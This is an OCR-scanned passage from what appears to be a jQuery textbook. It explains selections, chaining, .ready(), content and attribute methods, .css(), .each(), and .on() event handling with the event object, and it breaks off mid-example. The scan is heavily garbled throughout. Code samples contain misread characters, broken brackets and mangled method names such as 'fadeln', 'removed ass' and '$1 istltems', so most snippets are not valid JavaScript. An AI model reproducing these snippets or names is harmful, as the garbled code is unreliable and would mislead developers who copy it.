ELEMENTS 


.sibl ings() 

p336 

. before 0 

p318 

.next() 

p336 

.after() 

p318 

.nextAll () 

P336 

. prepend () 

p318 

.prev() 

p336 

. append () 

p318 

.prevAl 1 () 

p336 

. remove {) 

p346 



.clone() 

p346 

FILTER/TEST 


. unwrap () 

p346 

.filter() 

p338 

. detach {) 

p346 

.not() 

p338 

. empty () 

p346 

. has () 

p338 

.add() 

p338 

.is() 

p338 



:contains{) 

p338 

ATTRIBUTES 




.attr() 

p320 

ORDER fN SELECTION 


.removeAttrO 

p320 

-eq() 

p340 

.addClass() 

p320 

-lt() 

p340 

.removed ass{) 

p320 

•gt() 

p340 

.css() 

p322 



FORM VALUES 




.val () 

p343 



. isNumericO 

p343 




Once you have selected the elements you want to work with (and they 
are in a j Query object), the jQuery methods listed on these two pages 

o 

perform tasks on those elements. 


DIMENSION/POSITION 
Get or update the dimensions or 

position of a box 


DIMENSION 


,height() 

p34S 

,width() 

p348 

.innerHeightQ 

p348 

. innerWidth() 

p348 

.outerHeightO 

p348 

,outerWidth() 

p348 

{{document) .height () p35Q 

((document) .width() 

p35G 

({window) , height () 

p350 

((window) .width (} 

p350 

POSITION 


* offset () 

p351 

,position() 

p351 

.scroll left () 

p350 

. scroll Top () 

p350 


EFFECTS & ANIMATION 

Add effects and animation to 

parts of the page 


BASIC 


.show{) 

p332 

.hideO 

p332 

.toggle() 

p332 

FADING 


.fadeln{) 

p332 

.fadeOut() 

p332 

,fadeTo() 

p332 

.fadeToggle() 

p332 

SLIDING 


.slideDown() 

p332 

.si ideUpO 

P 332 

,s1ideToggle() 

p332 

CUSTOM 


.del ay () 

p332 

.stop() 

p332 

. animate () 

p332 


EVENTS 

Create event listeners for each 
element in the selection 

DOCUMENT/FILE 

. ready () p312 

.load*) p313 

USER INTERACTION 
,on() p326 

There used to be methods for 
individual types of event, so 
you may see methods such as 
.el tckO, .hoverf), .submft(). 
However, these have been 
dropped tn favour of the ,on() 
method to handle events* 
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A MATCHED SET / 
JQUERY SELECTION 


When you select one or more elements, a jQuery object is returned. 
It is also known as a matched set or a jquery selection. 


SINGLE ELEMENT 

If a selector returns one element, the j Query object 
contains a reference to just one element node. 


MULTIPLE ELEMENTS 

If a selector returns several elements, the j Query O 
object contains references to each element. 


$( 1 ul 1 ) $ ( 1 1 i ' ) 


This selector picks the <ul> element from the page. This selector picks all the <1 i > elements* Here, the 
So the jQuery object contains a reference to just jQuery object has references for each of the nodes 

one node {the only <u1> element in the page): that was selected (each <1 i> element): 


ul 


li I 11 I 11 I li 



Each element Is given an index number. 
Here there is just one element in the object. 


The resulting jQuery object contains four list items. 
Remember that index numbers start at zero. 


INDEX ELEMENT NODE 


INDEX ELEMENT NODE 


Ul 


0 1i#one*hot 

1 1i#two,hot 

2 liMhree.hot 

3 li#four 
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JQUERY METHODS THAT 
GET AND SET DATA 


Some jQuery methods both retrieve information from, and update the 
contents of, elements. But they do not always apply to all elements. 


GET INFORMATION 

ff a jQuery selection holds more than one element, 
and a method is used to get information from the 
selected elements, it will retrieve information from 
only the first element in the matched set. 

In the list example we have been using, the following 
selector chooses the four <1 i> elements from a list. 

$( ' 1 i 1 ) 

When you use the .html () method (which will be 
introduced on p316) to get information from an 
element, it will return the content of the first 
element in the matched set. 

var content = $( ' 1 i 1 ) .html {) ; 

This will retrieve the content of the first list item, 
and store it in the variable called content. 

To get a different element, you can use methods to 
traverse (p336) or filter (p338) the selection, or 
write a more specific selector (p302). 

To get the content of all of the elements, see the 
.each() method (p324). 


SET INFORMATION 

If a jQuery selection holds more than one element, 
and a method is used to update information on 
the page, it will update all of the elements in the 
matched set, not just the first one. 



When you use the ,htm! () method (which you meet 
on p316) to update the element, it will replace the 
contents of each element in the matched set. Here, 
it updates the content of each item in the list. 

$( 1 1 i ' ) .html { ' Updated 1 ) ; 

This will update the content of all of the list items in 
the matched set with the word Updated, 

To update just one element, you can use methods to 
traverse (p336) or filter (p338> the selection, or 
write a more specific selector (p302X 
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JQUERY OBJECTS STORE 
REFERENCES TO ELEMENTS 


When you create a selection with jQuery, it stores a reference to the 
corresponding nodes in the DOM tree. It does not create copies of them. 


As you have seen, when HTML pages toad, the 
browser creates a model of the page in memory- 
Imagine your browser's memory is a set of tiles: 

Q Nodes in the DOM take up a tile 
QH Variables take up a tile 
JBj j Complex JavaScript objects may take 
I several tiles because they hold more data 

In reality, the items in the browser's memory are 
not spread out as they are in this diagram, but the 
diagram helps explain the concept. 


When you create a jQuery selection, the jQuery 
object holds references to the elements in the DOM 
- it does not create a copy of them. 

When programmers say that a variable or object is 
storing a reference to something, what it is doing 
is storing the location a piece of information in the 
browser's memory- Here, the jQuery object would 
know that the list items are stored in A4, 84, and 
C4. Again, this is purely for illustration purposes; 
the browser's memory is not quite as simple as 
a checkerboard with these locations. 


B 


1 

2 


> ■ var ■ var ■ var 





The jQuery object is an array-like object because it stores a list of the elements in the same order that they 
appear in the HTML document (unlike other objects where the order of the properties is not usually preserved). 
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CACHING JQUERY 
SELECTIONS IN VARIABLES 


A jQuery object stores references to elements. 

Caching a jQuery object stores a reference to it in a variable. 


To create a jQuery object takes time, processing 
resources, and memory. The interpreter must: 

T find the matching nodes in the DOM tree 

2, Create the jQuery object 

3. Store references to the nodes in the jQuery object 

So, if the code needs to use the same selection 
more than once, it is better to use that same jQuery 
object again rather than repeat the above process* 
To do this, you store a reference to the jQuery 
object in a variable. 


Below, a jQuery object is created. It stores the 
locations of the <1 i> elements in the DOM tree. 

A reference to this object is in turn stored in a 
variable called SI i stltems. Note that when a 
variable contains a jQuery object it is often given 
a name beginning with the $ symbol (to help 
differentiate it from other variables in your script). 

Slistltems = $ ( r 1 i 1 ) ; 



Caching jQuery selections is similar to the idea of storing a reference to a DOM node once you have made a 
DOM query (as you saw in Chapter 5). 
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LOOPING 


In plain JavaScript if you wanted 
to do the same thing to several 
elements, you would need to 
write code to loop through all of 
the elements you selected. 


With jQuery, when a selector 
returns multiple elements, you 
can update all of them using the 
one method. There is no need to 
use a loop. 


In this code, the same value is 
added to the cl ass attribute for 
all of the elements that are found 
using the selector. It doesn't 
matter if there are one or many, 


c07/js/looping.Js 

$('li em'haddCl ass (‘seasonal 1 ); 

$ { 1 1 i . hot 1 ) . addCl ass ( 1 favori te 1 ) ; 


JAVASCRIPT 


In this example, the first selector 
applies only to one element and 
the cl ass attribute's new value 
triggers a CSS rule that adds a 
calendar icon to the left of it. 

The second selector applies to 
three elements. The new value 
added to the cl ass attribute for 
each of these elements triggers 
a CSS rule that adds a heart icon 
on the right-hand side. 

The ability to update ail of the 
elements in the jQuery selection 
is known as implicit Iteration. 



When you want to get 
information from a series of 
elements, you can use the 
,each() method (which you 
meet on p324) rather than 
writing a loop. 
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CHAINING 


If you want to use more than 
one jQuery method on the same 
selection of elements, you can 
list several methods at a time 
using dot notation to separate 
each one, as shown below. 


In this one statement, three 
methods act on the same 
selection of elements; 
hide{) hides the elements 
del ay C) creates a pause 
fadelnO fades in the elements 


The process of placing several 
methods in the same selector is 
referred to as chaining. As you 
can see, it results in code that is 
far more compact. 


JAVASCRIPT 


c07/js/chatning.js 


${ 'll [id! = ,i one il ] 1 ) ,hide() * del ay (500) ,fadeln(1400) ; 



To make your code easier to 
read, you can place each new 
method on a new line: 

$('li [id L ="one n ] *) 

* hide () 

.delay(5G0) 

, fade I n { 1400) ; 

Each line starts with the dot 
notation, and the semicolon 
at the end of the statement 
indicates that you have finished 
working with this selection. 

Most methods used to update 
the jQuery selection can be 
chained. However the methods 
that retrieve information from 
the DOM (or about the browser) 
cannot be chained. 

It is worth noting that if one 
method In the chain does not 
work, the rest will not run either. 
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CHECKING A PAGE IS 
READY TO WORK WITH 


jQuery’s . ready () method checks that the 
page is ready for your code to work with. 


{(document) creates a jQuery 
object representing the page. 


When the page is ready, the 
f unction inside the parentheses 
of the . ready () method is run. 


JQUERY OBJECT READY EVENT METHOD 


$(document) .ready(function() { 
// Your script goes here 

}); 


As with plain JavaScript, if the 
browser has not yet constructed 
the DOM tree, jQuery will not be 
able to select elements from it. 


If you place a script at the end of 
the page (just before the closing 
</body> tag), the elements will 
be loaded into the DOM tree. 


If you wrap your jQuery code 
In the method above, it will still 
work when used elsewhere on 
the page or even in another file. 


A shorthand for this is shown on the right-hand page. It is more commonly used than this longer version. 
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THE 1 oad EVENT 

jQuery had a .1oad() method. It 
fired on the load event but has 
been replaced by the ,on(). 

As you saw on p272 f the 1 oad 
event fires after the page and all 
of its resources (images, CSS, 
and scripts) have loaded, 

You should use this when your 
script relies on assets to have 
loaded, e.g., if it needs to know 
the dimensions of an image. 

It works in all browsers, and also 
provides function-level scope 
for the variables it contains. 


the . ready () method 

(Query's . ready () method 
checks if the browser supports 
the OOMCont ent Loaded event, 
because it fires as soon as the 
DOM has loaded (it does not 
wait for other assets to finish 
loading) and can make the page 
VS appear as if it is loading faster. 

If DOMContentLoaded is 
supported, jQuery creates an 
event listener that responds to 
that event. But the event is only 
supported in modern browsers. 
In older browsers, jQuery will 
wait for the Toad event to fire. 


PLACING SCRIPTS BEFORE 
THE CLOSING </body> TAG 

When you place your script at 
the end of the page (before the 
closing </body> fag), the HTML 
will have loaded Into the DOM 
before the script runs, 

VS You will, however, still see 
people using the . ready () 
method because scripts that 
use it will still work if someone 
moves the script tag elsewhere 
in the HTML page. (This is 
particularly common when that 
script is being made available 
for other people to use.) 


SHORTCUT FOR READY EVENT METHOD 
ON DOCUMENT OBJECT 


$(function() { 

// Your script goes here 

}); 


Above, you can see 
the shorthand that is 
commonly used instead of 

$ (document) * ready () 


A positive side-effect of writing 
jQuery code inside this method 
is that it creates function-level 
scope for its variables. 


Thisfunction-ievel scope 
prevents naming collisions with 
other scripts that might use the 
same variable names. 


Any statements inside the method automatically run when the page has loaded. 
This is the version that will be used in the examples in the rest of the chapter. 
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GETTING ELEMENT 
CONTENT 


The .htmlf) and .text() methods both retrieve and update the content 
of elements. This page will focus on how to retrieve element content. To 
learn how to update element content, see p316. 


.html () 

.text () 

When this method is used to retrieve information 
from a jQuery selection, it retrieves only the HTML 
inside the first element in the matched set, along 
with any of its descendants. 

When this method is used to retrieve the text from 
a jQuery selection, it returns the content from every 
element in the jQuery selection, along with the text 
from any descendants. 

For example, $( 1 ul 1 ) *html () ; will return this: 

For example, $ { * ul 1 ) .text() ; will return this: 

<1i id="one ,, ><em>fre$h</em> figs</li> 

<11 id= ,, two ll >pine nuts</li> 

<li id= ,, three ,, >honey</11> 

<li i d“ " f our" >bal sarnie vinegar</li> 

fresh figs 
pine nuts 
honey 

balsamic vinegar 

Whereas $(' 11 1 ) ,html (} ; will return this: 

Whereas ${ '1 i ') .text () ; will return this: 

<em>fresfo</em> figs 

fresh figspine nutshoneybalsamic vinegar 

Note how this returns only the content of the first 
<1 1 > element. 

Note how this returns the text content of all <1 i > 
elements (including spaces between words), but 
there are no spaces between the individual list items. 

If you want to retrieve the value of every element, 
you can use the .each{) method (see p324). 

To get the content from <1 nput> or <textarea> 
dements, use the . val () method shown on p34 3. 
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GETTING AT CONTENT 


On this page you can see variations on how the .html () and .textQ 
methods are used on the same list (depending on whether <uV> or <1 i> 
elements are used in the selector), 


Please note: The . append ( } 
method (covered on p318) lets 
you add content to the page. 


JAVASCRIPT 


c 07 / j s/get -html - fragment * j s 


var $1 istHTML = 5( ! ul * ) .html () ; 
$ ( 1 ul 1 ) . append {$1 1st HTML) ; 


The selector returns the <ul> element. The .html() method gets all the 
HTML inside it (the four <1 i > elements). This is then appended to the 
end of the selection, in this case after the existing <1 i> elements. 


JAVASCRIPT 


c07/js/get-text- fragment . j s 


var JlistText = $( 1 ul 1 ) ,text {) i 

$( r u1 ') * append ( , <p> 1 + $listText + , </p> 1 ); 


The selector returns the <ul> element. The ,text{) method gets the 
text from all of the <ul> element's children. This is then appended to the 
end of the selection, in this case after the existing <ul > element. 


JAVASCRIPT 


c07/ j s/get - html -node * j s 


var $1 i stltemHTML = ${ 1 1 1 1 ) -html () ; 

$( 1 1 1 1 ) .append( ■<i> 1 + $1 i stltemHTML + J </i>*); 


The selector returns the four <1 i > elements, but the * html ( ) method 
returns only the contents of the first one. This is then appended to the 
end of the selection, in this case after each existing <1 i> element. 


fresh fig: 
pine nuts 
honey 



pine nuts mm* 
fianey 

balsamic vinegar fresh figs 


JAVASCRIPT 


c07/js/get-text-node Js 


var $1 istltemText - $ ( 1 1 i 1 ) . text {) ; 

S ( 1 1 i *) *append{ , <i> 1 + $1 i stltemText + r </i> r }; 


The selector returns the four <1 i> elements. The ^ text ( ) method gets 
the text from these. This is then appended to each of the <1 i> elements 
in the selection. 


fresh fi gs (ft jj b ity tpine imhifcMftiiam'c * r 

pine nuts Ami ifftpAM artttaiyfta&Nnfe ri 
honey toi* ring# 

balsamic vinegar 
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UPDATING ELEMENTS 


Here are four methods that update the content 
of all elements in a jQuery selection, 


When the .btml () and .text() 
methods are used as setters (to 
update content) they will replace 
the content of each element in 
the matched set (along with any 
content and child elements). 


. html () 

This method gives every element 
in the matched set the same new 
content. The new content may 
include HTML 


.text () 

This method gives every element 
in the matched set the same new 
text content. Any markup would 
be shown as text. 


The .replaceWithQ and 
_ remove () methods replace and 
remove the elements they match 
(as well as their content and any 
child elements). 

The .text(),and 

.replaceWith() methods can 
take a string as a parameter. 

The string can; 

• Be stored in a variable 

• Contain markup 

When you add markup to the 
DOM, be sure to escape all 
untrusted content properly on 
the server. Both the .html {) and 
. replace Wi th() methods carry 
the same security risks as using 
the DOM f s innerHTMl property. 
See p228-p231 onXSS. 


.repl aceWi th() 

This method replaces every 
element in a matched set with 
new content. It also returns the 
replaced elements. 


. remove () 

This method removes all of the 
elements in the matched set. 


USING A FUNCTION TO UPDATE CONTENT 

If you want to use and amend the content of the current selection, 
these methods can take a function as a parameter The function can be 
used to create new content. Here the text from each element is placed 
inside <em> tags. 

$ ( 1 1 i .hot V) *html (function{) ( 

return 1 <em> 1 + $ (this) •text () + ’</em>'; 

} ) ; HlH ‘-®- 1 1 ® 1 HzH 

1. return Indicates that content should be returned by the function. 

2. <em> tags are placed around the text content of the list item, 

3. this refers to the current list item. $ (this) places that element in a 
new jQuery object so that you can use jQuery methods on it. 
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CHANGING CONTENT 


JAVASCRIPT 


in this example, you can see 
three methods that allow you to 
update the content of the page. 


When updating the content of 
an element, you can use a string, 
a variable, or a function. 


c07/j s/changing “Content, js 


© 

(D- 

CD 


$(function() { 

$('li : contains ("pine 1 ') 1 } . text ( 1 almonds 1 ) ; 
$ ( 1 1 i /hot’ ) . html (function {) { 
return '<em> r + $ (this) .text {) + '</em> 
»; 

$ ( 1 1 i #one * ) , removeQ ; 

})l 


1. This line selects any list items 
that contain the word pi ne. It 
then changes the text of the 
matching element to almonds 
using the .text() method. 


2. These fines select all list items 
whose class attribute contains 
the word hot, and uses the 
.html () method to update the 
content of each of them. 


The . html () method uses a 
function to place the content 
of each element inside an <em> 
element. (See the bottom of the 
left-hand page for a closer look 
at the syntax.) 



3. This line selects the <1 i> 
element that has an i d attribute 
whose value is one, then uses 
the remove () method to remove 
it. (This does not require a 
parameter,) 

When specifying new content, 
carefully choose when to use 
single quotes and when to use 
double quotes. If you append a 
new element that has attributes, 
use single quotes to surround 
the content. Then use double 
quotes for the attribute values 
themselves. 
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INSERTING ELEMENTS 


Inserting new elements involves two steps: 

1: Create the new elements in a jQuery object 
2: Use a method to insert the content into the page 


1: CREATING NEW ELEMENTS IN A JQUERY OBJECT 
The following statement creates a variable called $newFragment and 
stores a jQuery object in it. The jQuery object is set to contain an empty 
<li> element: var $newFragment = $('^11^'); 

The following statement creates a variable called $newl tern and stores a 
jQuery object in it. This jQuery object in turn contains an <li> element 
with a cl ass attribute and some text: 
var Jnewltem = S( r <11 c1ass =,, new u >i tern</li> 1 ) ; 

2: ADDING THE NEW ELEMENTS TO THE PAGE 

Once you have a variable holding the new content, you can use the 
following methods to add the content to the DOM tree: 


You can create new jQuery 
objects to hold text and markup 
that you then add to the DOM 
tree using one of the methods 
listed in step 2 on the right. 

If you create a selection that 
returns multiple elements, these 
methods will add the same 
content to each of the elements 
in the matched set. 

When adding content to the 
DOM, make sure you have 
escaped all untrusted content 
properly on the server. (See 
p228-p231 onXSS.) 

. before () « after () 

V V 

<li>item </li> 

* * 

- prepend () . append (} 


.before() 

This method inserts content 
before the selected efement(s). 

,prepend() 

This method inserts content 
inside the selected elementCs), 
after the opening tag. 


.after() 

This method inserts content 
after the selected eJement(s), 

.append() 

This method inserts content 
inside the selected element(s), 
before the closing tag. 


There are also »prependTo() and *appendTo() methods. They work the 
other way around from /prepend () and . append () . So: 

a, prepend (b) adds b to a a* append (b) adds b to a 

a*prependTo(b) adds a to b a *appendTo(b) adds a to b 
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ADDING NEW CONTENT 


JAVASCRIPT 


In this example, you can see 
three jQuery selections are 
made. Each selection uses a 
different method to amend the 
content of the list. 


The first adds a new notice 
before the list, the second 
adds a + symbol before the hot 
items, and the third adds a new 
element to the end of the list. 


c07/j s/add ing-new-content.js 



$(function() { 

$( *ul '} .before ( *<p clas$= 1 , notice ,, >Just updafed</p>') ; 

$(Mi .hot 1 ) . prepend {*+ '); 

var SnewListltem - $( ] <1 i><em>gl uten“free</em> soy sauce</1 i> f ) ; 
$( 1 1 i : 1 a s t 1 ) .after($newListItem) ; 


}}; 


1* The <ul> element is selected, 
and the . before ( ) method is 
used to insert a new paragraph 
before the list. 


2. Selects all <1 i > elements 
whose class attribute contains 
a value of hot and uses the 
. prepend () method to add a 
plus symbol (+) before the text. 


3* A new <1 i > element is created 
and stored in a variable. Then 
the last <11> element is selected, 
and the new element is added 
using the . after (} method. 


RESULT 


Just updated 


♦ fresh figs 

♦ pine nuts 

♦ honey 

balsamic vinegar 
gluten-free soy sauce 
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GETTING AND SETTING 
ATTRIBUTE VALUES 


You can create attributes, or access and update 
their contents, using the following four methods. 


You can work with any attribute 
on any element using the attr ( ) 
and removeAttrO methods, 

If you use the attr() method to 
update an attribute that does not 
exist, it will create the attribute 
and give it the specified value. 

The value of the cl ass attribute 
can hold more than one class 
name (each separated by a 
space). The addClass() and 
removed ass {) methods are 
very powerful because they let 
you add or remove an individual 
class name within the value of 
the cl ass attribute (and they 
do not affect any other class 
names). 


.attr() 

This method can get or set a 
specified attribute and its value. 

To get the value of an attribute, 
you specify the name of the 
attribute in the parentheses. 

SOlifone'J.attrOld 1 }; 

To update the value of an 
attribute, you specify both the 
attribute name and its new value. 

$ (Mi#one' ) .attr(' id' , 'hot ') ; 


,addClass() 

This method adds a new value 
to the existing value of the cl ass 
attribute. It does not overwrite 
existing values. 


.removeAttrO 

This method removes a specified 
attribute (and its value). You just 
specify the name of the attribute 
that you want to remove from the 
element in the parentheses, 

SCli^one'J.removeAttrtMd'); 


. removed ass () 

This method removes a value 
from the cl ass attribute, leaving 
any other class names within 
that attribute intact. 


These two methods are another good example of how jQuery adds 
helpful functionality commonly needed by web developers. 


32 0) JQUERY 


WORKING WITH 
ATTRIBUTES 


The statements in this example 
use jQuery methods to change 
the class and id attributes of 
the specified HTML elements. 


When the values of these 
attributes change, new CSS rules 
are applied to the elements, 
changing how they look. 


JAVASCRIPT 


$(function() { 

© $ ( 1 1 i #th ree 1 ) . removed ass ( 1 hot 1 ) ; 

© $ ( 1 1 i .hot 1 ) .addCl ass ('favorite 1 ) ; 

© ${ E ul ] } * attr ( 1 i d 1 s 'group'); 

}); 


1 The first statement finds 
the third list item (it has an i d 
attribute with a value of three) 
and removes hot from the cl ass 
attribute on that element. This 
is important to note because it 
affects the next statement. 


2. The second statement selects 
all <1 i > elements whose cl ass 
attribute has a value of hot. It 
adds a new class name called 
favori te. Because step 1 updated 
the third list item, this statement 
affects only the first two. 


RESULT 

■ BUY GROCERIES 


fresh tigs 


pine nuts 


honey 


balsamic vinegar 



Using events to trigger changes 
to attribute values that apply 
new CSS rules is a popular way 
to make a web page interactive. 

c07/js/attri biites.js 


3. The third statement selects 
the <ul> element and adds an 
id attribute, giving it a value of 
group (which triggers a CSS rule 
that will add a margin and border 
to the <ul> element). 
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GETTING & SETTING 
CSS PROPERTIES 


The . css ( ) method lets you retrieve 
and set the values of CSS properties. 


To get the value of a CSS 
property, you indicate which 
property you want to retrieve in 
parentheses. If the matched set 
contains more than one element, 
it will return the value from the 
first element. 

To set the values of a CSS 
property, you specify the 
property name as the first 
argument in the parentheses, 
then a comma, followed by its 
value as the second argument. 
This will update every element 
in the matched set. You can also 
specify multiple properties in the 
same method using object literal 
notation. 

Note: In the method used to 
set an individual property, the 
property name and its value are 
separated by a comma (because 
all parameters in a method are 
separated by a comma). 

In the object literal notation, 
properties and their values are 
separated by a colon. 


HOW TO GET A CSS PROPERTY 

This will store the background color of the first list item in a variable 
called backgrounded or. The color will be returned as an RGB value. 

var backgrounded or * S(' 11 ') .css ('background-col or*) ; 

HOW TO SET A CSS PROPERTY 

This will set the background color of all list items. Note how the CSS 
property and its value are separated using a comma instead of a colon. 

$('li *) .c$s(' background-color' , '#272727' ) ; 

When dealing with dimensions that are specified in pixels, you can 
increase and decrease the values using the += and -= operators. 

S('li ') . css ( 1 padding-1 eft' , '+=20* ) ; 

SETTING MULTIPLE PROPERTIES 

You can set multiple properties using object literal notation: 

• Properties and values are placed in curly braces 

• A colon is used to separate property names from their values 

• A comma separates each pair (but there is not one after the last pair) 
This sets the background color and typeface for all list items. 

$('11 ') .css({ 

'background-color' : *1272727 1 * 

'font-family': ‘Courier 1 

))l 
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CHANGING CSS RULES 


This example demonstrates how 
the ,css() method can be used 
to select and update the CSS 
properties of elements. 


JAVASCRIPT 


The script checks what the 
background color of the first list 
item is when the page loads and 
then writes it after the list, 


Next, it updates several CSS 
properties in all list items using 
the same . css (} method with 
object literal notation. 

c07/j s/css *js 


© 

© 

(D- 


$ ( f unct i on { ) { 

var backgrounded or = $('Ti ').css{ 
$( 1 ul 1 } ,append( ' <p>Col or was: ' + 

$ ( * 1 i ’) .css{{ 

’background-col or' : '#c5a996 1 , 
'border': ' lpx solid #fff', 
'color': '#000' , 

'font-family' : 'Georgia', 
'padding-left': '+=75' 


' background-col or 
backgroundColor + 


}) 

}); 


h 


1. The backgroundCol or variable 
is created. The (Query selection 
contains all <1 i> elements, and 
the ,C5${) method returns the 
value of the background-col or 
property of the first list item. 


RESULT 


2. The background color of 
the first list item is written Into 
the page using the . append ( ) 
method (which you met on 
p31S). Here, it is used to add 
content after the <ul > element. 


3* The selector picks all <li> 
elements, and then the *css () 
method updates several 
properties at the same time: 

• The background color is 
changed to brown 

• A white border is added 

• The color of the text is 
changed to black 

• The typeface is changed to 
Georgia 

• Extra padding is added on 
the left 

Note: It is better to change the 
value of a cl ass attribute (to 
trigger new CSS rules tn the style 
sheet) rather than to change 
CSS properties from within the 
JavaScript file Itself. 
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WORKING WITH EACH 
ELEMENT IN A SELECTION 


jQuery allows you to recreate the functionality 
of a loop on a selection of elements, using the 
,each() method. 


You have already seen several 
jQuery methods that update all 
of the elements in a matched set 
without the need for a loop. 

There are H however, times when 
you will want to loop through 
each of the elements in the 
selection. Often this will be to: 

• Get information from each 
element in the matched set 

• Perform a series of actions on 
each of the elements. 

The .each() method is provided 
for this purpose. The parameter 
of the .each() method is a 
function. This could be an 
anonymous function (as shown 
here) or a named function. 


,each() 


this or $ (thi s) 


Allows you to perform one or 
more statements on each of 
the items in the selection of 
elements that is returned by a 
selector - rather like a loop in 
JavaScript, 

It takes one parameter: 
a function containing the 
statements you want to run on 
each element. 


As the .each() method goes 
through the elements in a 
selection, you can access the 
current element using the thi s 
keyword, 

You also often see $ (this), 
which uses the thi s keyword to 
create a new jQuery selection 
containing the current element. 

If allows you to use jQuery 
methods on the current element. 


i— (T) — i r-©-! 
t('l i 1 ) . each { turret i on () { 
var ids * this. id; 

$ (this) .append (' <m class- rt arder w >' + ids + ^/en^ 1 ); 
}); 


1. The jQuery selection contains all of the <1 i > elements. 

2, .each() applies the same code to each element in the selection. 
3* An anonymous function is run for each of the items in the list. 


Since this refers to the current 
node. If you want to access a 
property of that node, e,g„ that 
element’s id or class attributes, 
It is better to use plain JavaScript 
to access those attributes: 
ids = this. id; 


It is more efficient than writing 
ids = $(this) ,attr( 'id' ) ; 
because this would involve 
the interpreter creating a new 
jQuery object, and then using 
a method to access info that is 
available as a property. 
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USING .EACHQ 


This example creates a jQuery 
object containing all of the list 
items from the page. 


The .each() method is then 
used to loop through the list 
items and run an anonymous 
function for each of them. 


The anonymous function takes 
the value from the Id attribute 
on the <1 1> element and adds it 
to the text in the fist item. 


JAVASCRIPT 


© 

© 

© 


${functton() { 

$ ( r 1 i 1 ) - each (functi on {) { 
var ids = this .id; 

$ (this) .append ( ' <span cl ass= ]i order">' + ids + , </span> 1 ); 

)h 


c07/j s/each. js 


1. The selector creates a jQuery 
object containing ail <1 
elements. The * each { ) method 
calls an anonymous function 
for each of the list items in the 
matched set. 


2, The thi s keyword refers to 
the current element node in the 
loop. It is used to access the 
value of the current element's 
id attribute, which is stored in a 
variable called ids. 



3> S (thi s) is used to create a 
jQuery object that contains the 
current element in the loop. 

Having the element in a jQuery 
object enables you to use jQuery 
methods on that element. In 
this case the . append () method 
is used to add a new <span> 
element to the current list item. 

The content of that element 
is the value of its i d attribute, 
which was obtained in step 2 
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EVENT METHODS 


The .on() method is used to handle all events. 
Behind the scenes, jQuery handles ail of the 
cross-browser issues you saw in the last chapter. 


Using the ,on{) method is no 
different than using any other 
jQuery method; you; 


■-© — — 1 
$ ( H i 1 ) . on ('click 1 » function() 
S(this) * addCl ass ( 'complete' ) ; 
}); 


• Use a selector to create a 
jQuery selection. 

• Use * on { ) to indicate which 
event you want to respond to. 
It adds an event listener to 
each element in the selection. 

.on() was introduced in v 1,7 
of jQuery. Prior to that, jQuery 
used separate methods for 
each event, e.g., *click{) 
and . focus (). You may come 
across them in older code, but 
you should only use the *on() 
method now 


1* The jQuery selection contains all of the <1 i> elements. 

2. The .on{) method is used to handle events. It needs two parameters; 

3. The first parameter is the event you want to respond to. Here it is the 
click event. 

4. The second parameter is the code you want to run when that event 
occurs on any element in the matched set. This could be a named 
function or an anonymous function. Above, it is an anonymous function 
that adds a value of complete to the cl ass attribute. 

You will see more advanced options for this method on p330. 
JQUERY EVENTS 

Some of the most popular events that * on f ) deals with are listed below. 
jQuery also added some extras to make life easier, such as ready, which 
fires when the page is ready to be worked with. These are noted with a 
pink asterisk: * 


Ul 

KEYBOARD 

MOUSE 

FORM 

DOCUMENT 

BROWSER 


focus, blur, change 

input, keydown, keyup, keypress 

click, dblclick, mouseup, mousedown, 
mouseover, mousemove, mouseout, hover* 

submit, select, change 
ready*, load, unload* 
error, resize, scroll 
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EVENTS 


!n this example., when the 
mouse moves over a list item, 
the content of its id attribute Is 
written into the list item. 


The same happens if the user 
dicks on a list item (because 
mouseover does not work on 
touchscreen devices). 


The mouseout event also 
removes this extra information 
from the page to prevent the 
added content building up. 


JAVASCRIPT 


${function() { 
var ids = ' ‘ ; 

(T) var $listltems = $('li'); 


( 2 > 


$1 istltems .on( 'mouseover cl ick' , function() { 
ids = this. id; 

$1 i st I terns. chi 1 dren ( ' span 1 ) . remove () ; 

$ ( thl s) . append ( 1 <span class="priority">' + ids + 1 </spar> 1 ) ; 

}); 



$1 istltems. on{ 'mouseout ' , function() { 
$( this) .chi 1 dren { 'span 1 ) .removed 1 
}); 


c07/js/events.js 


}); 


2. The .on() method creates an 
event listener, which waits for 
when the user moves a mouse 
over a list item or clicks on it. it 
triggers an anonymous function. 


RESULT 



pine nuts two 



honey 



balsamic vinegar 



1, The selector finds all list 
items on the page. The resulting 
jQuery object is used more than 
once, so it is stored in a variable 
called $1 i stltems. 


Note how the two events are 
specified in the same set of 
quote marks, with a space 
between them. 

The anonymous function: 

* Gets the value of the id 
attribute on that element, 

* Removes <span> elements 
from, all of the list items. 

* Adds the value of the id 
attribute to the list item in 
a new <span> element. 

3. The . mouseout () method 
triggers the removal of any child 
<span> elements to prevent 
build-up of added values. 
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THE EVENT OBJECT 


Every event handling function receives an event object. 

It has methods and properties related to the event that occurred. 


Just like the JavaScript event 
object the jQuery event object 
has properties and methods that 
tell you more about the event 
that took place. 

If you look at the function that 
is called when the event occurs, 
the event object is named in 
the parentheses. Like any other 
parameter, this name is then 
used within the function to refer 
to the event object. 

The example on the right uses 
the letter e as shorthand for 
the event object. However, as 
noted in the previous chapter 
you should be aware that this 
shorthand is also often used for 
the error object. 


© 

${*1i ') , on ( 1 cl i ck 1 function(e) { 
everttType s e.type; 

1); CD CD 

1* Give the event object a parameter name. 

2. Use that name in the function to reference the event object. 

3* Access the properties and methods of the object using the familiar 
dot notation (the member operator). 


PROPERTY 

DESCRIPTION 

type 

Type of event (eg., click, mouseover) 

which 

Button or key that was pressed 

data 

An object literal containing extra information 
passed to the function when the event fires 
(See right-hand page for an example) 

target 

DOM element that initiated the event 

pageX 

Mouse position from left edge of viewport 

pageV 

Mouse position from top of viewport 

timeStamp 

Number of milliseconds from Jan 1st, 1970, 
to when the event was triggered (this is known 
as Unix Time). Does not work in Firefox. 

METHOD 

DESCRIPTION 

.preventDefauH() 

Prevents the default (e.g., submitting a form) 

.stopPropagation() 

Stops the event bubbling up to ancestors 
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EVENT OBJECT 


In this example, when users click 
on a list item, the date that the 
event happened on is written 
next to that item r along with the 
type of event that triggered it. 


To achieve this, two properties of 
the event object will be used: 
timeStamp states when the 
event occurred; type states the 
kind of event that triggered It 


JAVASCRIPT 


$(function() { 



$( r li ] } * on ('click' function(e) { 

${']] span') . remove (} ; 

var date = new Date () ; 

date. setTime(e. timeStamp) ; 

var clicked = date.toDateString() ; 

$ (thi s) .append( '<span class= ,l date ,! >' + clicked + 1 

}); 


»; 


1. Any <span> elements that 
already exist inside the <1 i> 
elements are removed. 


2. A new Date object is created, 
